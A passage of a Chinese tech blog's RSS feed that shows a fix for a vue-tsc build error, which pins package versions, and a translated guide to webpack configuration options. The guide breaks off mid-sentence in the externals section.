/></p>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2296.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2296</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2296&amp;key=3b1cfa45</trackback:ping></item><item><title>vue-tsc --noEmi 报错 Search string not found: &amp;quot;/supportedTSExtensions = .*(?=;)/&amp;quot;</title><author>camnpr@163.com (camnpr)</author><link>http://camnpr.com/javascript/2295.html</link><pubDate>Sat, 13 Jan 2024 08:21:23 +0800</pubDate><guid>http://camnpr.com/javascript/2295.html</guid><description><![CDATA[<blockquote><p>&nbsp;&gt; vue-tsc --noEmit</p><p>D:\WorkSpace\xxx\node_modules\vue-tsc\bin\vue-tsc.js:68</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw err;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^</p><p>Search string not found: &quot;/supportedTSExtensions = .*(?=;)/&quot;</p><p>(Use `node --trace-uncaught ...` to show where the exception was thrown)</p><p>Node.js v20.18.1</p><p>&thinsp;ELIFECYCLE&thinsp; Command failed with exit code 1.</p></blockquote><p><strong>解决方案</strong></p><p>翻了下该 Issue，有人给出了 bug 的来源 <a href="https://github.com/vuejs/language-tools/issues/5018" target="_blank">vuejs/language-tools#5018</a>，点进去看看，<a href="https://github.com/nuxt/nuxt/issues/30026" target="_blank">该 Issue 日期（2024年11月24日</a>）。</p><p><a href="https://github.com/vuejs/language-tools/issues/5018" target="_blank">Issue 中也有人给出了解决方法</a>，自己尝试了是可行的。</p><p>vue-tsc 版本切换成固定的 2.0.29</p><p>typescript 版本切换成固定的 5.6.2</p><p>{</p><p>&nbsp; &quot;scripts&quot;: {</p><p>&nbsp; &nbsp; &quot;build&quot;: &quot;vue-tsc -b &amp;&amp; vite build&quot;</p><p>&nbsp; },</p><p>&nbsp; &quot;devDependencies&quot;: {</p><p>&nbsp; &nbsp; &quot;vue-tsc&quot;: &quot;2.0.29&quot;,</p><p>&nbsp; &nbsp; &quot;typescript&quot;: &quot;5.6.2&quot;,</p><p>&nbsp; &nbsp; &quot;vite&quot;: &quot;^5.4.10&quot;,</p><p>&nbsp; &nbsp; &quot;@vitejs/plugin-vue&quot;: &quot;^5.1.4&quot;</p><p>&nbsp; }</p><p>}</p><p>最后重新安装依赖即可</p><p>&nbsp;</p>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2295.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2295</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2295&amp;key=0b5e10a5</trackback:ping></item><item><title>webpack入门——webpack 配置</title><author>camnpr@163.com (camnpr)</author><link>http://camnpr.com/javascript/2294.html</link><pubDate>Wed, 30 May 2018 13:39:59 +0800</pubDate><guid>http://camnpr.com/javascript/2294.html</guid><description><![CDATA[<p>传一个配置对象给webpack ，它就可以干活儿了。根据你用webpack的用法，有两种途径传入这个对象：</p><h3 id="cli-命令行">CLI( 命令行)</h3><p>如果你用命令行，命令行会读取一个叫webpack.config.js（或者用&nbsp;&ndash;config&nbsp;选项传入的一个配置文件）的文件。这个文件应该导出一个配置对象，如下：</p><pre class="prettyprint"><code class="hljs fsharp has-numbering"><span class="hljs-keyword">module</span>.exports = {     <span class="hljs-comment">// configuration</span> };</code></pre><h3 id="nodejs-api">node.js API</h3><p>如果 你用node.js API，你需要把配置文件作为一个参数，传给webpack。如下：</p><pre class="prettyprint"><code class="hljs cs has-numbering">webpack({     <span class="hljs-comment">// configuration</span> }, callback);</code></pre><h3 id="混合配置">混合配置</h3><p>在两种情况下，你都可以用一个配置对象的数组，它们是并行进程的。它们共用文件系统的缓存和监控，所以这是一种比多次调用webpack更高效的办法。</p><h2 id="config-对象内容">config 对象内容</h2><blockquote><p><em>提示</em>：记住你不需要写纯粹的JSON到配置文件中。javascript随便用。webpack只是一个node.js 模块&hellip;</p></blockquote><p>一个最简单的配置对象如下：</p><pre class="prettyprint"><code class="hljs css has-numbering"><span class="hljs-rules">{     <span class="hljs-rule"><span class="hljs-attribute">context</span>:<span class="hljs-value"> __dirname + <span class="hljs-string">&quot;/app&quot;</span>,     entry: <span class="hljs-string">&quot;./entry&quot;</span>,     output: {         path: __dirname + <span class="hljs-string">&quot;/dist&quot;</span>,         filename: <span class="hljs-string">&quot;bundle.js&quot;</span>     </span></span></span>} }</code></pre><p>下面开始解释这些配置项了。</p><h4 id="context">context</h4><p>这是<em>entry</em>配置项的根目录（绝对路径）。如果<em>output.pathinfo</em>也设置了，它的pathinfo是基于这个根目录。</p><h4 id="entry">entry</h4><p>包的入口。&nbsp;<br />如果你传入一个字符串：这个字符串作为主模块的启动点。（本句翻译待考）&nbsp;<br />如果你传入一个数组，数组中所有模块都会启动，但最后一个会被导出。</p><pre class="prettyprint"><code class="hljs avrasm has-numbering"><span class="hljs-label">entry:</span>[<span class="hljs-string">&quot;./entry1&quot;</span>,<span class="hljs-string">&quot;./engtry2&quot;</span>]</code></pre><p>如果你传入一个对象：会创建多个入口包。key就是 块（chunk）名字。value就是一个字符串或者一个数组。</p><pre class="prettyprint"><code class="hljs perl has-numbering">{     entry: {         page1: <span class="hljs-string">&quot;./page1&quot;</span>,         page2: [<span class="hljs-string">&quot;./entry1&quot;</span>, <span class="hljs-string">&quot;./entry2&quot;</span>]     },     output: {         <span class="hljs-regexp">//</span> Make sure to <span class="hljs-keyword">use</span> [name] <span class="hljs-keyword">or</span> [id] in output.filename         //  <span class="hljs-keyword">when</span> using multiple entry points         filename: <span class="hljs-string">&quot;[name].bundle.js&quot;</span>,         chunkFilename: <span class="hljs-string">&quot;[id].bundle.js&quot;</span>     } }</code></pre><blockquote><p>注意：你不可能在其它配置项中设置入口点。如果你需要特殊配置入口点，你需要用到上面提到的混合配置。</p></blockquote><h4 id="output">output</h4><p>影响编译输出的配置项。&nbsp;<em>output</em>配置项告诉webpack怎么把编译后的文件写入磁盘。注意，如果用多入口配置，只会一个能被指定output。</p><p>如果你用了hshing([hash]或者[chunkhash])，请先确保有一个指定的模块排序。用<em>OccurrenceOrderPlugin</em>&nbsp;或者&nbsp;<em>recordsPath</em>。</p><h4 id="outputfilename">output.filename</h4><p>指定每一个输出文件的存盘文件名。这里你不必指定绝对路径。<em>output.path</em>才是用来指定文件路径的配置项。<em>filename</em>&nbsp;是单独给文件命名的。</p><p>单入口</p><pre class="prettyprint"><code class="hljs cs has-numbering">{   entry: <span class="hljs-string">'./src/app.js'</span>,   output: {     filename: <span class="hljs-string">'bundle.js'</span>,     path: <span class="hljs-string">'./built'</span>   } }  <span class="hljs-comment">// writes to disk: ./built/bundle.js</span></code></pre><p>多入口&nbsp;<br />如果你的配置创建了多个&ldquo;块&rdquo;（多入口点或者用了像<em>CommonsChunkPlugin</em>），你应该换成下面这样的配置来确保每一个文件都有一个特有的文件名。&nbsp;<br /><em>[name]</em>&nbsp;会被块名替换掉。&nbsp;<br /><em>[hash]</em>会被编译的hash替换掉。&nbsp;<br /><em>[chunkhash]</em>会被块的hash替换掉。</p><pre class="prettyprint"><code class="hljs ruby has-numbering">{   <span class="hljs-symbol">entry:</span> {     <span class="hljs-symbol">app:</span> <span class="hljs-string">'./src/app.js'</span>,     <span class="hljs-symbol">search:</span> <span class="hljs-string">'./src/search.js'</span>   },   <span class="hljs-symbol">output:</span> {     <span class="hljs-symbol">filename:</span> <span class="hljs-string">'[name].js'</span>,     <span class="hljs-symbol">path:</span> __dirname + <span class="hljs-string">'/built'</span>   } }  /<span class="hljs-regexp">/ writes to disk: ./built</span><span class="hljs-regexp">/app.js, ./built</span><span class="hljs-regexp">/search.js</span></code></pre><h4 id="outputpath">output.path</h4><p>输出目录，必须是绝对路径。&nbsp;<br /><em>[hash]</em>会被编译hash替换掉。</p><h4 id="outputpublicpath">output.publicPath</h4><p>当浏览器需要引用输入出文件时， 这个配置项指定输入文件的公共URL地址。在loader中它被嵌入到<code>script</code>&nbsp;或者&nbsp;<code>link</code>&nbsp;标签或者对静态资源的引用里。当文件的href 或者 url()与它在磁盘 上的路径 不一致时<code>publicPath</code>&nbsp;，就应当用&middot;<code>publicPath</code>(像path一样指定) ，这在你想定义把一些或者所有文件放在不同的主机或CDN上时会非常有用。webpack dev server 也是用publicpath决定输出文件从哪里公开。和&nbsp;<code>path</code>&nbsp;一样，你可以用 [hash] 替换缓存文件。&nbsp;<br />config.js</p><pre class="prettyprint"><code class="hljs css has-numbering"><span class="hljs-tag">output</span>: <span class="hljs-rules">{     <span class="hljs-rule"><span class="hljs-attribute">path</span>:<span class="hljs-value"> <span class="hljs-string">&quot;/home/proj/public/assets&quot;</span>,     publicPath: <span class="hljs-string">&quot;/assets/&quot;</span> </span></span></span>}</code></pre><p>index.html</p><pre class="prettyprint"><code class="hljs xml has-numbering"><span class="hljs-tag">&lt;<span class="hljs-title">head</span>&gt;</span>   <span class="hljs-tag">&lt;<span class="hljs-title">link</span> <span class="hljs-attribute">href</span>=<span class="hljs-value">&quot;/assets/spinner.gif&quot;</span>/&gt;</span> <span class="hljs-tag">&lt;/<span class="hljs-title">head</span>&gt;</span></code></pre><p>一个更加复杂的例子，使用CDN和hash 资源。</p><p>config.js</p><pre class="prettyprint"><code class="hljs css has-numbering"><span class="hljs-tag">output</span>: <span class="hljs-rules">{     <span class="hljs-rule"><span class="hljs-attribute">path</span>:<span class="hljs-value"> <span class="hljs-string">&quot;/home/proj/cdn/assets/[hash]&quot;</span>,     publicPath: <span class="hljs-string">&quot;http://cdn.example.com/assets/[hash]/&quot;</span> </span></span></span>}</code></pre><p>注意：如果最终的&nbsp;<code>publicPath</code>&nbsp;不能确定在编译时不能确定，你可以留白在运行时在入口文件中动态设置。如果在编译时不知道publicPath你可以忽略它并设置在入口文件中设置&nbsp;<code>__webpack_public_path__</code>。</p><pre class="prettyprint"><code class="hljs fix has-numbering"><span class="hljs-attribute">__webpack_public_path__ </span>=<span class="hljs-string"> myRuntimePublicPath  // rest of your application entry</span></code></pre><h4 id="outputchunkfilename">output.chunkFilename</h4><p>它是&nbsp;<code>output.path</code>&nbsp;目录中作为相对路径的非入口chunk的文件名 。&nbsp;<br /><code>[id]</code>&nbsp;会被chunk的id替换掉。&nbsp;<br /><code>[name]</code>&nbsp;会被chunk的name替换掉（如果没有名字，会被id替换）。&nbsp;<br /><code>[hash]</code>&nbsp;会被编译的hash替换掉。&nbsp;<br /><code>[chunkhash]</code>&nbsp;会被 chunk hash替换掉。</p><h4 id="outputsourcemapfilename">output.sourceMapFilename</h4><p>javascript 的sourceMap文件的文件名。它会被放在&nbsp;<code>output.path</code>&nbsp;目录下。&nbsp;<br /><code>[file]</code>&nbsp;会被javascript的文件名替换掉。&nbsp;<br /><code>[id]</code>&nbsp;会被 chunk id替换掉。&nbsp;<br /><code>[hash]</code>&nbsp;会被 编译hash替换掉。</p><blockquote><p><em>Default: &ldquo;[file].map&rdquo;</em></p></blockquote><h4 id="outputdevtoolmodulefilenametemplate">output.devtoolModuleFilenameTemplate</h4><p>在 sourceMap中生成source array是用函数来做的。这个配置项就是这个函数所在的文件名模板字符。&nbsp;<br /><code>[resource]</code>&nbsp;会被webapck 用来解析文件的路径替换掉，如果有Loader也包括loader最右边的query参数。&nbsp;<br /><code>[resource-path]]</code>&nbsp;跟 resource配置项一样，只是不会带query参数。&nbsp;<br /><code>[loaders]</code>&nbsp;loader列表，带最右边的参数（明确的Loader）。&nbsp;<br /><code>[[all-loaders]</code>&nbsp;loader列表，带最右边的参数（包括自然生效的loader）。&nbsp;<br /><code>[id]</code>&nbsp;会被 模块id替换掉。&nbsp;<br /><code>[hash]</code>&nbsp;会被 模块唯一标识符替换。&nbsp;<br /><code>[hash]</code>&nbsp;会被 文件的绝对路径文件名替换。</p><p>也可以定义为一个函数而不是 字符串模板。这个函数会接收&nbsp;<code>info</code>&nbsp;对象，这个Info对象曝露了一下属性：&nbsp;<br />1. identifier&nbsp;<br />2. shortIdentifier&nbsp;<br />3. resource&nbsp;<br />4. resourcePath&nbsp;<br />5. absoluteResourcePath&nbsp;<br />6. allLoaders&nbsp;<br />7. query&nbsp;<br />8. moduleId&nbsp;<br />9. hash</p><h4 id="outputdevtoolfallbackmodulefilenametemplate">output.devtoolFallbackModuleFilenameTemplate</h4><p>跟&nbsp;<code>output.devtoolModuleFilenameTemplate</code>&nbsp;很像。但是是用在混合模块儿标识中。</p><blockquote><p>Default: &ldquo;webpack:///[resourcePath]?[hash]&rdquo;</p></blockquote><h4 id="outputdevtoollinetoline">output.devtoolLineToLine</h4><p>能给所有或者指定模块设置为行到行的map模式。行到行map模式用一个简单的 sourcecMap , 在这个sourceMap 中每行生成的文件映射到同一行的源文件。这是一个性能优化。只有当你需要更好的性能或者你确定输入的行和生成 的行匹配，你再这么做。&nbsp;<br /><code>true</code>&nbsp;使它对所有module有效（不推荐）。&nbsp;<br />一个对象<code>{test，include,exclude}</code>&nbsp;同<code>module.loaders</code>&nbsp;很像，对指定的文件设置有效。</p><blockquote><p>Default:disabled</p></blockquote><h4 id="outputhotupdatechunkfilename">output.hotUpdateChunkFilename</h4><p>热更新的Chunk 文件名。他们在&nbsp;<code>output.path</code>&nbsp;目录中。&nbsp;<br /><code>[id]</code>&nbsp;会被chunk的id替换掉。&nbsp;<br /><code>[hash]</code>&nbsp;会被编译的hash替换掉。（最后一次的hash会被存储在记录中）</p><blockquote><p>Default: &ldquo;[hash].hot-update.json&rdquo;</p></blockquote><h4 id="outputjsonpfunction">output.jsonpFunction</h4><p>webpack用来异步加载chunk的JSONP 函数。&nbsp;<br />一个小函数或许可以减少一点文件的大小。 当一个单页面上有多个webpack实例时，使用不同的标识符。</p><blockquote><p>Default: &ldquo;webpackJsonp&rdquo;</p></blockquote><h4 id="outputhotupdatefunction">output.hotUpdateFunction</h4><p>webpack用来异步加载热替换chunk的JSONP 函数。</p><blockquote><p>Default: &ldquo;webpackHotUpdate&rdquo;</p></blockquote><h4 id="outputpathinfo">output.pathinfo</h4><p>如果设置了，将包导出为库。&nbsp;<code>output.library</code>&nbsp;就是库的名字。&nbsp;<br />如果你写了一个单库，并且想把它以单文件形式发布的话，可以用它。</p><h4 id="outputlibrarytarget">output.libraryTarget</h4><p>格式化导出库。&nbsp;<br /><code>&quot;var&quot;</code>&nbsp;通过设置一个变量导出：<code>var Library =xxx</code>&nbsp;(默认)</p><p><code>&quot;this&quot;</code>&nbsp;通过设置一个<code>this</code>的属性导出：<code>var Library =xxx</code></p><p><code>&quot;commonjs&quot;</code>&nbsp;通过设置一个<code>exports</code>&nbsp;的一个属性导出:&nbsp;<code>exports[&quot;Library&quot;] = xxx</code></p><p><code>&quot;commonjs2&quot;</code>&nbsp;通过设置一个<code>module.exports</code>&nbsp;导出:&nbsp;<code>module.exports=xxx</code></p><p><code>&quot;amd&quot;</code>&nbsp;导出到AMD(随便命名 -通过library选项来设置 名称)</p><p><code>&quot;umd&quot;</code>&nbsp;导出到AMD，CommonJS2或者作为root的一个属性。</p><blockquote><p>Default: &ldquo;var&rdquo;&nbsp;<br />如果&nbsp;<code>output.library</code>&nbsp;没设置，但是<code>output.library</code>&nbsp;设置了除var以外的值，exports对象的每一个属性都 会被复制（除了amd,commonjs2和umd）</p></blockquote><h4 id="outputumdnameddefine">output.umdNamedDefine</h4><p>如果&nbsp;<code>output.libraryTarget</code>&nbsp;设置为umd 而且<code>output.library</code>&nbsp;也设置了。这个设为true，将为AMD模块命名。</p><h4 id="outputsourceprefix">output.sourcePrefix</h4><p>给bundle资源的每一行前面加上这个字符串。</p><blockquote><p>Default: &ldquo;\t&rdquo;</p></blockquote><h4 id="outputcrossoriginloading">output.crossOriginLoading</h4><p>这一项的设置可以允许跨域加载 chunks。&nbsp;<br />可能的值为：&nbsp;<br /><code>false</code>&nbsp;不允许跨域加载。&nbsp;<br /><code>anonymous</code>&nbsp;启用跨域加载。当用<code>anonymous</code>&nbsp;时，请求中没有安全证书发送。&nbsp;<br /><code>use-credentials</code>&nbsp;启用跨域加载。请求中安全证书会发送。</p><blockquote><p>Default: false</p></blockquote><h4 id="module">module</h4><p>影响正常模块的选项</p><h4 id="moduleloaders">module.loaders</h4><p>一个自动运用的 loader数组。&nbsp;<br />每一个都可以有以下几个属性。&nbsp;<br />*&nbsp;<code>test</code>&nbsp;:一个必须满足的条件&nbsp;<br />*&nbsp;<code>exclude</code>&nbsp;: 一个排除的条件&nbsp;<br />*&nbsp;<code>include</code>&nbsp;: 要用Loader转换的导入文件的路径数组。&nbsp;<br />*&nbsp;<code>loader</code>&nbsp;: 一个用&ldquo;！&rdquo;隔开 loader的字符串。&nbsp;<br />*&nbsp;<code>loaders</code>&nbsp;: 一个loader字符串的数组。</p><p>一个条件可以 是正则表达式(tested against absolute path)，或者是一个包含绝对路径的字符串，或者一个函数<code>function(absPath): bool</code>&nbsp;，或者一个数组 用&ldquo;and&rdquo;连接这些的数组。</p><p>重要：这里Loader的resolved相对于它们应用的的资源的路径。这意味着它们不是相对 配置文件的路径 。如果你已经用npm 安装过loader而且 你的 node_ｍoudles文件夹不在所有源文件的父文件夹中，webpack会找不到 loader.你需要添加 node-modules文件夹,作为&nbsp;<code>resolveLoader.root</code>&nbsp;选项的绝对路径。&nbsp;<br />例如：</p><pre class="prettyprint"><code class="hljs css has-numbering"><span class="hljs-tag">module</span>: <span class="hljs-rules">{   <span class="hljs-rule"><span class="hljs-attribute">loaders</span>:<span class="hljs-value"> [     {       // <span class="hljs-string">&quot;test&quot;</span> is commonly used to match the file extension       test: /\.jsx$/,        // <span class="hljs-string">&quot;include&quot;</span> is commonly used to match the directories       include: [         path.<span class="hljs-function">resolve(__dirname, <span class="hljs-string">&quot;app/src&quot;</span>)</span>,         path.<span class="hljs-function">resolve(__dirname, <span class="hljs-string">&quot;app/test&quot;</span>)</span>       ],        // <span class="hljs-string">&quot;exclude&quot;</span> should be used to exclude exceptions       // try to prefer <span class="hljs-string">&quot;include&quot;</span> when possible        // the <span class="hljs-string">&quot;loader&quot;</span>       loader: <span class="hljs-string">&quot;babel-loader&quot;</span>     </span></span></span>}   ] }</code></pre><h4 id="modulepreloaders-modulepostloaders">module.preLoaders, module.postLoaders</h4><p>语法跟&nbsp;<code>module.loaders</code>&nbsp;一样。&nbsp;<br />一个在运用loader之前（后）的loader数组。</p><h4 id="resolve">resolve</h4><p>影响模块的解决方案。</p><h4 id="resolvealias">resolve.alias</h4><p>用其它模块或者路径替换一个模块。&nbsp;<br />预期是一个对象，这个对象的key是模块的名称，value是一个新的path。它类似于一个替换，但更聪明一点。&nbsp;<br />如果key 以<span id="MathJax-Element-1-Frame" class="MathJax" tabindex="0" data-mathml="&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x7ED3;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x5C3E;&lt;/mo&gt;&lt;/mrow&gt;&lt;mo&gt;,&lt;/mo&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x53EA;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x6709;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x7CBE;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x786E;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x7684;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x90E8;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x5206;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#xFF08;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x4E0D;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x5305;&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow class=&quot;MJX-TeXAtom-ORD&quot;&gt;&lt;mo&gt;&amp;#x62EC;&lt;/mo&gt;&lt;/mrow&gt;&lt;/math&gt;"><span id="MathJax-Span-1" class="math"><span id="MathJax-Span-2" class="mrow"><span id="MathJax-Span-3" class="texatom"><span id="MathJax-Span-4" class="mrow"><span id="MathJax-Span-5" class="mo">结</span></span></span><span id="MathJax-Span-6" class="texatom"><span id="MathJax-Span-7" class="mrow"><span id="MathJax-Span-8" class="mo">尾</span></span></span><span id="MathJax-Span-9" class="mo">,</span><span id="MathJax-Span-10" class="texatom"><span id="MathJax-Span-11" class="mrow"><span id="MathJax-Span-12" class="mo">只</span></span></span><span id="MathJax-Span-13" class="texatom"><span id="MathJax-Span-14" class="mrow"><span id="MathJax-Span-15" class="mo">有</span></span></span><span id="MathJax-Span-16" class="texatom"><span id="MathJax-Span-17" class="mrow"><span id="MathJax-Span-18" class="mo">精</span></span></span><span id="MathJax-Span-19" class="texatom"><span id="MathJax-Span-20" class="mrow"><span id="MathJax-Span-21" class="mo">确</span></span></span><span id="MathJax-Span-22" class="texatom"><span id="MathJax-Span-23" class="mrow"><span id="MathJax-Span-24" class="mo">的</span></span></span><span id="MathJax-Span-25" class="texatom"><span id="MathJax-Span-26" class="mrow"><span id="MathJax-Span-27" class="mo">部</span></span></span><span id="MathJax-Span-28" class="texatom"><span id="MathJax-Span-29" class="mrow"><span id="MathJax-Span-30" class="mo">分</span></span></span><span id="MathJax-Span-31" class="texatom"><span id="MathJax-Span-32" class="mrow"><span id="MathJax-Span-33" class="mo">（</span></span></span><span id="MathJax-Span-34" class="texatom"><span id="MathJax-Span-35" class="mrow"><span id="MathJax-Span-36" class="mo">不</span></span></span><span id="MathJax-Span-37" class="texatom"><span id="MathJax-Span-38" class="mrow"><span id="MathJax-Span-39" class="mo">包</span></span></span><span id="MathJax-Span-40" class="texatom"><span id="MathJax-Span-41" class="mrow"><span id="MathJax-Span-42" class="mo">括</span></span></span></span></span><span class="MJX_Assistive_MathML">结尾,只有精确的部分（不包括</span></span>）会被替换掉。&nbsp;<br />如果value 是一个相对路径，模块将与包含它的文件的路径有关。</p><table>    <thead>        <tr>            <th>alias</th>            <th align="center">require(&ldquo;xyz&rdquo;)</th>            <th align="right">require(&ldquo;xyz/file.js&rdquo;)</th>        </tr>    </thead>    <tbody>        <tr>            <td>{}</td>            <td align="center">/abc/node_modules/xyz/index.js</td>            <td align="right">/abc/node_modules/xyz/file.js</td>        </tr>        <tr>            <td>{ xyz: &ldquo;/absolute/path/to/file.js&rdquo; }</td>            <td align="center">/absolute/path/to/file.js</td>            <td align="right">/abc/node_modules/xyz/file.js</td>        </tr>        <tr>            <td>{ xyz$: &ldquo;/absolute/path/to/file.js&rdquo; }</td>            <td align="center">/absolute/path/to/file.js</td>            <td align="right">error</td>        </tr>        <tr>            <td>{ xyz: &ldquo;./dir/file.js&rdquo; }</td>            <td align="center">/abc/dir/file.js</td>            <td align="right">/abc/node_modules/xyz/file.js</td>        </tr>        <tr>            <td>{ xyz$: &ldquo;./dir/file.js&rdquo; }</td>            <td align="center">/abc/dir/file.js</td>            <td align="right">error</td>        </tr>        <tr>            <td>{ xyz: &ldquo;/some/dir&rdquo; }</td>            <td align="center">/some/dir/index.js</td>            <td align="right">/some/dir/file.js</td>        </tr>    </tbody></table><p>如果在package.json中有定义入口文件，index.js或许会被查到到其它文件。</p><h4 id="resolveroot">resolve.root</h4><p>包含你的模块的目录（绝对路径）。也可能是目录的数组。需要将单个目录添加到搜索路径的情况下，才用这个设置。</p><blockquote><p>注意： 它必须是绝对路径，请不要传像<code>./app/modules</code>&nbsp;这样的相对路径。&nbsp;<br />例：</p></blockquote><pre class="prettyprint"><code class="hljs r has-numbering">var path = <span class="hljs-keyword">require</span>(<span class="hljs-string">'path'</span>);  // <span class="hljs-keyword">...</span> resolve: {   root: [     path.resolve(<span class="hljs-string">'./app/modules'</span>),     path.resolve(<span class="hljs-string">'./vendor/modules'</span>)   ] }</code></pre><h4 id="resolvemodulesdirectories">resolve.modulesDirectories</h4><p>一个目录数组。这个目录将解析给当前目录以及它的祖先目录，在这里查找模块。它的功能类似于 node 的 node_modules目录。例如，如果把它设置为<code>[&quot;mydir&quot;]</code>,webpack 会查找&ldquo;./mydir&rdquo;,&rdquo;../mydir&rdquo;,&rdquo;../../mydir&rdquo;等。</p><blockquote><p>默认值为：<code>[&quot;web_modules&quot;, &quot;node_modules&quot;]</code>&nbsp;<br />注意：在这里，不必要传入像<code>&quot;../someDir&quot;, &quot;app&quot;, &quot;.&quot;</code>&nbsp;或者绝对路径之类的值。只需要用一个目录名，不要用路径。当你的层次结构中有 这个文件夹时再用这个，要不然你最好是用&nbsp;<code>resolve.root</code>&nbsp;选项。</p></blockquote><h4 id="resolvefallback">resolve.fallback</h4><p>一个目录(或者目录绝对目录的数组)。如果webpack 在&nbsp;<code>resolve.root</code>&nbsp;或者&nbsp;<code>resolve.modulesDirectories</code>&nbsp;实在找不到某个模块了，会去这个（些）目录中找。</p><h4 id="resolveextensions">resolve.extensions</h4><p>一个包含模块扩展名的数组。例如，为了发现CoffeeScript 文件，你的数组应该包含字符串<code>&quot;.coffee&quot;</code>。</p><blockquote><p><code>Default: [&quot;&quot;, &quot;.webpack.js&quot;, &quot;.web.js&quot;, &quot;.js&quot;]</code>&nbsp;<br />注意：设置了这个选项，会取代默认的模块扩展名。重要的事情说三遍：意味着webpack不再用默认扩展名查找模块，意味着webpack不再用默认扩展名查找模块，意味着webpack不再用默认扩展名查找模块。如果你想正确加载一个带有扩展名的模块，你必须把一个空字符串放在你的数组里。如果你想不要扩展名来加载一个js文件，你需要将&ldquo;.js&rdquo;加入你的数组。</p></blockquote><h4 id="resolvepackagemains">resolve.packageMains</h4><p>在package.json中查找符合这些字段的文件</p><blockquote><p>Default: [&ldquo;webpack&rdquo;, &ldquo;browser&rdquo;, &ldquo;web&rdquo;, &ldquo;browserify&rdquo;, [&ldquo;jam&rdquo;, &ldquo;main&rdquo;], &ldquo;main&rdquo;]</p></blockquote><h4 id="resolvepackagealias">resolve.packageAlias</h4><p>在package.json中查询对象里的字段，键值对是按照这个规范的别名来进行的</p><blockquote><p>Not set by default</p></blockquote><p>比如&rdquo;browser&rdquo;会检查browser字段</p><h4 id="resolveunsafecache">resolve.unsafeCache</h4><p>启用不安全的缓存来解析一部分文件。改变缓存路径也许会导致出错（罕见情况下）。 一个正则表达式数组里，只有一个正则或只有一个为true（对应全部文件）是最好的实践 。如果解析路径匹配，就会被缓存。</p><blockquote><p>Default: []</p></blockquote><h4 id="resolveloader">resolveLoader</h4><p>跟 resolve很像，但是是为loaders准备的。</p><pre class="prettyprint"><code class="hljs cs has-numbering"><span class="hljs-comment">// Default:</span> {     modulesDirectories: [<span class="hljs-string">&quot;web_loaders&quot;</span>, <span class="hljs-string">&quot;web_modules&quot;</span>, <span class="hljs-string">&quot;node_loaders&quot;</span>, <span class="hljs-string">&quot;node_modules&quot;</span>],     extensions: [<span class="hljs-string">&quot;&quot;</span>, <span class="hljs-string">&quot;.webpack-loader.js&quot;</span>, <span class="hljs-string">&quot;.web-loader.js&quot;</span>, <span class="hljs-string">&quot;.loader.js&quot;</span>, <span class="hljs-string">&quot;.js&quot;</span>],     packageMains: [<span class="hljs-string">&quot;webpackLoader&quot;</span>, <span class="hljs-string">&quot;webLoader&quot;</span>, <span class="hljs-string">&quot;loader&quot;</span>, <span class="hljs-string">&quot;main&quot;</span>] }</code></pre><p>注意，你可以用alias，其他特性和resolve相似。例如 设置了alias中的{txt: &lsquo;raw-loader&rsquo;｝， txt!templates/demo.txt 结果会用 raw-loader解析。</p><h4 id="resolveloadermoduletemplates">resolveLoader.moduleTemplates</h4><p>这是resolveLoader 唯一的属性。它描述了尝试的模块名称的替代名</p><blockquote><p>Default: [&ldquo;<em>-webpack-loader&rdquo;, &ldquo;</em>-web-loader&rdquo;, &ldquo;<em>-loader&rdquo;, &ldquo;</em>&ldquo;]</p></blockquote><h4 id="externals">externals</h4><p>指定的依赖不会被webpack解析，但会成为bundle里的依赖。output.libraryTarget.决定着依赖的类型。值是对象，字符串，函数，正则，数组都会被接受。</p><p>字符串：一个精确匹配的依赖会变成externals依赖，同一字符串会被用于externals依赖。&nbsp;<br />对象：如果依赖精确匹配到了对象的一个属性，属性值就会被当作externals依赖。属性值可以包含一个依赖型的前缀，用一个空格隔开。如果属性值为true，则使用该属性名。如果属性值为false，外部测试失败，这个依赖是内部依赖。见下面的例子。</p><p>函数：function(context, request, callback(err, 